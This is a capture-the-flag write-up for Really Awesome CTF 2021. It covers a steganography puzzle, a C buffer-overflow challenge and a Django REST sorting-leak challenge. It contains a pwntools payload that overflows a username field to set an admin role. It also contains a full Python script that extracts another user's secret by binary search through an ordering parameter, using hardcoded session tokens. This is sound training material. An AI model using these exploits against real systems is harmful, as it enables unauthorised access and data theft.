Really Awesome CTF 2021
Steganography
I'm a Shouty Man [300 pts]
Description
You have intercepted an shouty man's secret message. find the flag!
Solution
We are given a folder that contains a lot of WEBM files with one named sound and the other different characters. At first, I tried to do code to transcribe and online transcribers to be able to read the letters to get nowhere. I could take the 30 min hit of listening as opposed to trying to create the code for it at this point.
[0 - 10] Vml2YW11cyBzZWQgZWxpdCBpbnRlcmR1bSwgY29udmFsbGlzIHRlbGx1cy4gBmBzdGlidWx1bSBxdWlzIG1pIGbyYXQuIHlvdSBtYXkgYmUgd29uZGVyaW5nIHdoZXJlIHRoZSBmbEFnIGlzIHJpZ2h0IG5vdy4gd2BsbCBsZXQgbWUgdGVsbCB5b3UsIGl0J3Mgc29tZXdoZXJlLiB0aGUgZmxhZyBjb3VsZCBiZSByYWN0ZntoYWhhfSBvciBp [20 - 25] dHJpc3RpcXVlIGVzdC4gQ3JhcyBmYXVjaWJ1cyBtYXNzYSBsaWJlcm8sIHNpdCBhbWV0IHZ1bHB1dGF0ZSBvZGlvIGNvbnNlcXVhdCBjdXJzdXMgdEhlIHJFYUwgZ [25 - 27] kxBZyBpNSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9I
NSByYWN0ZntvTWdfaXq1X2FOX2F1ZDEwcGhpbDMhISF9
I eventually decoded it using Base64.
[0 - 10] Vivamus sed elit interdum, convallis tellus. .
stibulum quis mi fòat. you may be wondering where the flAg is right now. wll let me tell you, it's somewhere. the flag could be ractf{haha} or i [20 - 25] tristique est. Cras faucibus massa libero, sit amet vulputate odio consequat cursus tHe rEaL d [25 - 27] ..YÈ.MH..XÝ..ÛÓY×Ú^.WØS.Ø]Y.L...[.ÈHH_H5 ractf{oMg_izµ_aN_aud10phil3!!!}
I know this doesn't look good. I guess the Hard of hearing got the best of me and so I had to decode from this what the real flag was supposed to be. I took a little bit closer look and changed a few of the characters from the capital and lower case and close letters to get the flag.
Flag: ractf{oMg_it5_aN_aud10phil3!!!}
Blue
Description
We found some blue, thoughts?
Solution
Being a colorblind person, I want to always look at the histogram of the photo to see this weird situation.
From that, I write some code to find the pixels that are odd. From there I can run a few ideas as to how the location, color, and hex could help come up with the flag. I tried a lot of attempts but nothing clicked so I gave up some time.
import cv2
def oddPixels(img_file):
img = cv2.imread(img_file, cv2.IMREAD_UNCHANGED)
dim = img.shape
h = dim[0]
w = dim[1]
match = [205,77,64]
last = [205, 77, 64]
fin = ""
masBlue = bin(205)[-3:] + bin(77)[-2:] + bin(64)[-2:] + "1"
print(int(masBlue ,2 ))
for x in range(0, h):
for y in range(0, w):
curPix = img[x][y]
if not(curPix[0] == match[0] and curPix[1] == match[1] and curPix[2] == match[2]):
bn = bin(curPix[0])[7:]
bn += bin(curPix[1])[7:]
bn += bin(curPix[2])[7:]
# print(bn)
# hx = hex(curPix[0])[2:] + hex(curPix[1])[2:] + hex(curPix[2])[2:]
# print(bin(curPix[0]))
# bn = bin(curPix[0])[6:9] + bin(curPix[1])[6:8] + bin(curPix[2])[6:8]
if (curPix[3] == 255):
bn += "1"
elif(curPix[3] == 254):
bn += "0"
print(bn, int(bn, 2))
fin += bn
# print(x,y,curPix,'\t', hx)
print(fin)
"""
5 75 [204 79 71] cc4f47
8 118 [205 77 71] cd4d47
17 132 [204 77 71] cc4d47
41 60 [207 79 71] cf4f47
41 69 [206 77 71] ce4d47
42 58 [204 78 71] cc4e47
58 147 [207 79 67] cf4f43
64 38 [207 79 67] cf4f43
78 70 [204 76 71] cc4c47
84 23 [204 76 71] cc4c47
91 60 [205 76 71] cd4c47
115 46 [204 76 71] cc4c47
146 230 [205 77 69] cd4d45
158 252 [204 79 69] cc4f45
159 60 [206 79 71] ce4f47
160 19 [204 79 67] cc4f43
168 129 [206 76 71] ce4c47
176 43 [206 78 69] ce4e45
182 84 [205 79 69] cd4f45
195 101 [206 76 71] ce4c47
229 143 [205 77 67] cd4d43
235 218 [204 76 71] cc4c47
239 11 [204 76 69] cc4c45
243 232 [207 79 67] cf4f43
246 46 [207 78 71] cf4e47
"""
""" Flip X and Y
11 239 [204 76 69] cc4c45
19 160 [204 79 67] cc4f43
23 84 [204 76 71] cc4c47
38 64 [207 79 67] cf4f43
43 176 [206 78 69] ce4e45
46 115 [204 76 71] cc4c47
46 246 [207 78 71] cf4e47
58 42 [204 78 71] cc4e47
60 41 [207 79 71] cf4f47
60 91 [205 76 71] cd4c47
60 159 [206 79 71] ce4f47
69 41 [206 77 71] ce4d47
70 78 [204 76 71] cc4c47
75 5 [204 79 71] cc4f47
84 182 [205 79 69] cd4f45
101 195 [206 76 71] ce4c47
118 8 [205 77 71] cd4d47
129 168 [206 76 71] ce4c47
132 17 [204 77 71] cc4d47
143 229 [205 77 67] cd4d43
147 58 [207 79 67] cf4f43
218 235 [204 76 71] cc4c47
230 146 [205 77 69] cd4d45
232 243 [207 79 67] cf4f43
252 158 [204 79 69] cc4f45
"""
oddPixels("blue.png")Yeah and that is left off till someone showed it could be different
R G B A | R G B A |Ascii|Binary |Decimal
69 76 204 254 | 01000 101 | 010011 00 | 110011 00 | 1111111 0 | r |01110010|114
67 79 204 254 | 01000 011 | 010011 11 | 110011 00 | 1111111 0 | a |01100001|97
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | c |01100011|99
67 79 207 255 | 01000 011 | 010011 11 | 110011 11 | 1111111 1 | t |01110100|116
69 78 206 254 | 01000 101 | 010011 10 | 110011 10 | 1111111 0 | f |01100110|102
71 76 204 255 | 01000 111 | 010011 00 | 110011 00 | 1111111 1 | { |01111011|123
71 78 207 254 | 01000 111 | 010011 10 | 110011 11 | 1111111 0 | | |
71 78 204 254 | 01000 111 | 010011 10 | 110011 00 | 1111111 0 | | |
71 79 207 255 | 01000 111 | 010011 11 | 110011 11 | 1111111 1 | | |
71 76 205 254 | 01000 111 | 010011 00 | 110011 01 | 1111111 0 | | |
71 79 206 255 | 01000 111 | 010011 11 | 110011 10 | 1111111 1 | | |
71 77 206 255 | 01000 111 | 010011 01 | 110011 10 | 1111111 1 | | |
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | | |
71 79 204 255 | 01000 111 | 010011 11 | 110011 00 | 1111111 1 | | |
69 79 205 255 | 01000 101 | 010011 11 | 110011 01 | 1111111 1 | | |
71 76 206 254 | 01000 111 | 010011 00 | 110011 10 | 1111111 0 | | |
71 77 205 254 | 01000 111 | 010011 01 | 110011 01 | 1111111 0 | | |
71 76 206 255 | 01000 111 | 010011 00 | 110011 10 | 1111111 1 | | |
71 77 204 254 | 01000 111 | 010011 01 | 110011 00 | 1111111 0 | | |
67 77 205 254 | 01000 011 | 010011 01 | 110011 01 | 1111111 0 | | |
67 79 207 254 | 01000 011 | 010011 11 | 110011 11 | 1111111 0 | | |
71 76 204 254 | 01000 111 | 010011 00 | 110011 00 | 1111111 0 | | |
69 77 205 254 | 01000 101 | 010011 01 | 110011 01 | 1111111 0 | | |
67 79 207 255 | 01000 011 | 010011 11 | 110011 11 | 1111111 1 | | |
69 79 204 255 | 01000 101 | 010011 11 | 110011 00 | 1111111 1 | } |01111101|125But that doesn't line up and can't see any way that it could line up.
Reverse
Dodgy Database [350 pts]
Description
One of our most senior engineers wrote this database code, it's super well commented code, but it does seem like they have a bit of a god complex. See if you can help them out.
Solution
Below is the C code we are given.
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define STR_EXPAND(tok) #tok
#define STR(tok) STR_EXPAND(tok)
#define USERNAME_LEN 20
#define DATABASE "database.txt"
#define FLAG "ractf{fake_flag}"
typedef enum {
ROLE_USER,
ROLE_ADMIN,
ROLE_GOD = 0xBEEFCAFE,
} Role;
typedef struct {
char name[USERNAME_LEN];
Role role;
} User;
typedef struct {
User* users;
size_t num_users;
size_t capacity;
} Users;
/**
* Exit, printing a failure message before killing the program.
*/
void die(const char *restrict fmt, ...) {
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
exit(EXIT_FAILURE);
}
/**
* Create a user struct with the given name and the ROLE_USER role.
*/
User* user_create(const char* name) {
User* user = malloc(sizeof(User));
strcpy(user->name, name);
return user;
}
/**
* Allocate and initialize the Users struct.
*/
Users* users_init(const size_t capacity) {
Users* users = calloc(1UL, sizeof(Users));
users->users = calloc(capacity, sizeof(User));
users->num_users = 0UL;
users->capacity = capacity;
return users;
}
/**
* Double the capacity of the users array.
*/
void users_extend_capacity(Users* users) {
users->capacity <<= 1;
users->users = realloc(users->users, users->capacity * sizeof(User));
}
/**
* Add a user to the users struct.
*/
void users_add_user(Users* users, const char* name, Role role) {
User* user = &users->users[users->num_users++];
strcpy(user->name, name);
user->role = role;
}
/**
* Check whether a user is registered.
* MUST BE CALLED BY AN ADMIN
*/
bool users_check_registered(const Users *const users, const User *const admin, const char *const name) {
if (admin->role == ROLE_ADMIN) {
for (size_t i = 0UL; i < users->num_users; i++) {
User* user = &users->users[i];
if (strncmp(user->name, name, 20UL) == 0) {
return true;
}
}
} else {
die("[users_check_registered]\tInsufficient permissions.\n");
}
return false;
}
/**
* Registers a new user in the database.
*/
void users_register_user(Users* users, const User *const admin, const User *const user) {
if (admin->role == ROLE_ADMIN)
users_add_user(users, user->name, ROLE_USER);
else if (admin->role == ROLE_GOD)
puts(FLAG);
else
die("[users_register_user]\tInsufficient permissions to register user, exiting.\n");
}
/**
* Reads all the users and their roles from the file.
*/
Users* read_users(const char* filename) {
FILE* file = fopen(filename, "r");
if (file == NULL) die("Failed to open database file: \"%s\"\n", filename);
size_t line_len,
lines_read = 0UL;
char* lineptr = NULL;
Users* users = users_init(10UL);
while (getline(&lineptr, &line_len, file) != -1) {
if (lines_read++ == users->capacity) {
users_extend_capacity(users);
}
char name[21] = { 0 };
char role[6] = { 0 };
int num_parsed = sscanf(lineptr, "%" STR(USERNAME_LEN) "s %s", name, role);
if (num_parsed != 2) goto parse_failed;
if (strcmp(role, "USER") == 0) users_add_user(users, name, ROLE_USER);
else if (strcmp(role, "ADMIN") == 0) users_add_user(users, name, ROLE_ADMIN);
else if (strcmp(role, "GOD") == 0) users_add_user(users, name, ROLE_GOD);
else
parse_failed: die("[read_users]\tFailed to parse user line: \"%s\", exiting!\n", lineptr);
}
free(lineptr);
return users;
}
/**
* Saves the users database out to a file.
*/
void save_users(const Users *const users, const char *const filename) {
FILE* file = fopen(filename, "w");
for (size_t i = 0UL; i < users->num_users; i++) {
User* user = &users->users[i];
switch (user->role) {
case ROLE_GOD:
fprintf(file, "%" STR(USERNAME_LEN) "s GOD\n", user->name);
break;
case ROLE_ADMIN:
fprintf(file, "%" STR(USERNAME_LEN) "s ADMIN\n", user->name);
break;
case ROLE_USER:
fprintf(file, "%" STR(USERNAME_LEN) "s USER\n", user->name);
break;
default:
die("[save_user]\tInvalid user role: %d, exiting!\n", user->role);
}
}
}
/**
* Sets IO to non-buffering, not part of the challenge
*/
void setup_for_challenge() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int main(void) {
setup_for_challenge();
Users* users = read_users(DATABASE);
// get user to register
puts("Hi, welcome to my users database.");
printf("Please enter a user to register: ");
char username[30] = { 0 },
*newline;
fgets(username, 30, stdin);
if ((newline = strchr(username, '\n')) != NULL)
*newline = '\0';
// create admin
User* admin = user_create("admin");
admin->role = ROLE_ADMIN;
// check registered
if (!users_check_registered(users, admin, username)) {
// register the user
free(admin);
User* user = user_create(username);
users_register_user(users, admin, user);
}
// save the new database
save_users(users, DATABASE);
return 0;
}
Well, I start with a buffer overflow approach. The username is a length of 20 [line 10] and to become GOD code is Beefcafe [line 17]. Put that together and you become a god who can view the flag.
from pwn import *
connect = remote('193.57.159.27', 31267)
payload = bytes('A' * 20, 'utf-8') + p32(0xBEEFCAFE)
connect.sendline(payload)
connect.interactive()Flag: ractf{w0w_1_w0nD3r_wH4t_free(admin)_d0e5}
Web
Secret Store [300 pts]
Description
How many secrets could a secret store store if a store could store secrets?
Solution [By JoshL]
There are only two functionalities you really need to care about the /api/secret endpoint allows you to set a secret with a POST and return a list of secret ids + user ids with a get(edited)
class SecretViewSet(viewsets.ModelViewSet):
queryset = Secret.objects.all()
serializer_class = SecretSerializer
permission_classes = (IsAuthenticated & IsSecretOwnerOrReadOnly,)
filter_backends = [filters.OrderingFilter]
ordering_fields = "__all__"
class SecretSerializer(serializers.ModelSerializer):
class Meta:
model = Secret
fields = ["id", "value", "owner", "last_updated", "created"]
read_only_fields = ["owner", "last_updated", "created"]
extra_kwargs = {"value": {"write_only": True}}
def create(self, validated_data):
validated_data["owner"] = self.context["request"].user
if Secret.objects.filter(owner=self.context["request"].user):
return super(SecretSerializer, self).update(Secret.objects.get(owner=self.context['request'].user), validated_data)
return super(SecretSerializer, self).create(validated_data)are the relevant lines of codeSecretSerializer.create handles the POST request, and the GET is implemented by the viewsets.ModelViewSet mixin. Now, the vuln is filters.OrderingFilter googling that tells you it allows you to order by fields, and you can specify what you're allowed to order by allowing certain fields in ordering_fields (in this case, it allows all fields inside the Secret model that's what the __all__ means). ]So you have two functionality POST /api/secret/ Update your secret value GET /api/secret/?ordering= Returns a list of secrets (by id) and users (by id), allowed to order by any field within the Secret model(edited). The flag is a secret created by the user with id 1 (I'm assuming it's admin or something). Sooo, with ordering you could order by the secret values itself and slowly binary search for the flag if your secret is aaaa, the admin is ractf{, if you order by value, your id will show up before the admin's(edited)[11:25 PM]if your secret is zzz and the admin is ractf{ if you order by value, your id will show up after the admin's
import requests
from Crypto.Util.number import long_to_bytes
import json
cookies = {"csrftoken":"xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk", "sessionid":"jyya08irbxysteizgtvmoyjw29bgmb9m"}
headers = {"X-CSRFToken": "xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk"}
charset = ''.join([chr(i) for i in range(0x20, 0x7f)])
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ "
def b95encode(val):
ret = []
base=95
while val:
ret.append(charset[val%base])
val//=base
return ''.join(ret)[::-1]
# for i in range(0x100):
# print(b95encode(i))
l,r=0,95**50
post_url = 'http://193.57.159.27:48478/api/secret/'
get_url = 'http://193.57.159.27:48478/api/secret/?ordering=value'
while l<=r:
m=(l+r)//2
payload = b95encode(m)
data = {"value": payload}
print(payload,l,r)
requests.post(post_url, cookies=cookies, headers=headers, data=data)
rr = requests.get(get_url, cookies=cookies, headers=headers)
ids = [dat['id'] for dat in json.loads(rr.text)]
if ids.index(16) < ids.index(1):
l=m+1
else:
r=m-1
print(b95encode(l))
# GET /api/secret/?ordering=value HTTP/1.1
# Host: 193.57.159.27:48478
# User-Agent: curl/7.74.0
# Accept: */*
# Cookie: csrftoken=xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk; sessionid=jyya08irbxysteizgtvmoyjw29bgmb9m
# Content-Length: 17
# Content-Type: application/json
# X-CSRFToken: xkUPu1bjaLi05gAEoE6EnubGiDMASZc2Zl4uqk45bbqxX6AdyrwcRDfb8vTgJJSk
# {"value":"AAA"
# }
# ractf{data_exf1l_via_s0rt1ng_0c66de47}
# 193.57.159.27 50871Flag: ractf{data_exf1l_via_s0rt1ng_0c66de47}
Last updated
Was this helpful?